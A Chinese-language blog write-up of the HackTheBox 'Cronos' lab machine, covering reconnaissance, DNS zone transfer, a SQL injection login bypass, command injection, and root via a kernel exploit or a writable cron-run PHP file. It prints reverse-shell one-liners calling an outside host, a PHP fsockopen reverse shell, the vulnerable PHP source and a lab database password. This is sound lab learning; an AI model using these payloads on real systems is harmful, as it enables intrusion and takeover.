HTB靶场系列 linux靶机 靶机cronos

215 阅读3分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

勘探

基本操作先用nmap扫一下

nmap 10.10.10.13

Starting Nmap 7.80 ( nmap.org ) at 2020-04-07 21:01 EDT

Nmap scan report for 10.10.10.13 Host is up (0.014s latency).

Not shown: 65532 filtered ports PORT

STATE SERVICE

22/tcp open ssh

53/tcp open domain

80/tcp open http

发现开了三个,那么具体扫描一下这三个端口

nmap -sC -sV -p 22,53,80 10.10.10.13

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0 )

| ssh-hostkey:

| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)

| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)

|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid:

|_ bind.version: 9.10.3-P4-Ubuntu

80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

发现有三个攻击向量

openssh7.2p2告诉了我们他的系统版本

53的dns解析

80的web

那么挨个尝试

80端口

打开发现时apache的报错,dirsearch也什么都扫不出来。

image-20200408063016169.png

那么联动一下53的域名试试

53端口

root@kali# nslookup

server 10.10.10.13

Default server: 10.10.10.13

Address: 10.10.10.13#53

10.10.10.13

13.10.10.10.in-addr.arpa

name = ns1.cronos.htb.

发现有一个本地解析域名,ns1.cronos.htb.,那么也就是说域名是cronos.htb喽

可以继续深挖一下,看看有没有其他的子域名

dig axfr cronos.htb @10.10.10.13

会发现他还有两个子域名 admin和www

那么我们可以再配置文件/etc/hosts中修改一下

image-20211221170758459.png

这样

然后用浏览器访问,注意添加http而不是https

之后依次访问

获取www权限

cronos.htb指向了

image-20200408063701022.png

并且全部连接都指向了laravel,那么我们猜测他这个站可能和laravel有关

同样目录爆破不出东西

admin.cronos.htb 打开是一个登陆界面

跑一下万能密码就能跑开

我是用

admin‘ or 1=1--跑开的

跑开了发现是一个ping界面,可以直接按我们在dvwa中磨练出来的技术试试

image-20200408072657804.png

那么就是经典的命令行注入了,而且相当简单,没有任何验证,直接&带命令就行

我使用

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 4444 >/tmp/f

来转发shell

记得nc监听

获取root权限

方法一

在uname -a部分发现内核版本为4.4.0.72

那么直接44298打穿

用searchsploit搜44298,然后copy一份出来,用

gcc 44298.c 编译一下

然后python SimpleHTTPServer 80打开python的服务器

然后再靶机用wget下载你编译出来的a.out

最后直接chmod 777 a.out赋权限

然后./a.out执行就行

方法二

没复现成功,因为实在是不想看这个linpeas分析文件

接下来全部操作来源于转述0xdf

用linpeas检查一下危险文件,推荐把先用python获取一个好用一点的shell然后把linpeas输出到一个文本文件中,然后用more 慢慢看,要不然一次输出太多,转发出来的shell看着很麻烦

用linpeas分析出来一个文件

www-data@cronos:/dev/shm$ bash linpeas.sh                                                                 ...[snip]...
[+] Cron jobs
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-jobs
-rw-r--r-- 1 root root  797 Apr  9  2017 /etc/crontab 
...[snip]...
* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
...[snip]...

发现有一个/var/www/laravel/artisan schedule:run文件会以root权限每分钟都以php执行

crontab-syntax.png

那么打开这个文件看看

ls -la /var/www/larave/artisan 
-rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 artisan

发现这个文件属于www,那么我们直接在这个php文件中加上转发shell语句,岂不是就能获得root权限的shell了

我们挑选一条php的转发语句

转发shell语句_m0_57221101的博客-CSDN博客

直接在文件的最前面写上

<?php

$sock=fsockopen("10.10.14.24", 443);
exec("/bin/sh -i <&3 >&3 2>&3");
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|---------------------------

然后打开nc监听就ok

原理分析

命令行注入

在这个文件夹中/var/www/admin/welcome.php:

<?php
   include('session.php');

if($_SERVER["REQUEST_METHOD"] == "POST") {
        //print_r($_POST);
        $command = $_POST['command'];
        $host = $_POST['host'];
        exec($command.' '.$host, $output, $return);
        //print_r($output);
}
?>

可以看到,这完全就是没有做验证从command到host都只是一个简单的用户上传参数而且还用了非常危险的exec

sql注入

这个文件储存着数据库的账号密码/var/www/admin/config.php:

<?php
   define('DB_SERVER', 'localhost');
   define('DB_USERNAME', 'admin');
   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
   define('DB_DATABASE', 'admin');
   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>

这个是登录的验证单元/var/www/admin/index.php

   if($_SERVER["REQUEST_METHOD"] == "POST") {
      // username and password sent from form 

      $myusername = $_POST['username'];
      $mypassword = md5($_POST['password']);
      
      $sql = "SELECT id FROM users WHERE username = '".$myusername."' and password = '".$mypassword."'";
      $result = mysqli_query($db,$sql);
      $row = mysqli_fetch_array($result,MYSQLI_ASSOC);                                                                                               
      //$active = $row['active'];
      $count = mysqli_num_rows($result);
                     
      // If result matched $myusername and $mypassword, table row must be 1 row
                                     
      if($count == 1) {
         //session_register("myusername");
         $_SESSION['login_user'] = $myusername;
                                                                                                                                                     
         header("location: welcome.php");                                                                                                            
      }else {
         $error = "Your Login Name or Password is invalid";               
      }    

可以看到把万能密码上传至用户名位置但是由于后面有一个and,如果密码不对,就不能绕过,那么用-- -把他注释掉就可以了呗'' or 1**=1-- -'

所以这个就成功了

感谢

参考资料

HTB: Cronos | 0xdf hacks stuff

其中讲了具体的有关命令行注入的报文,和保温利用方法,以及造成万能密码登录的原因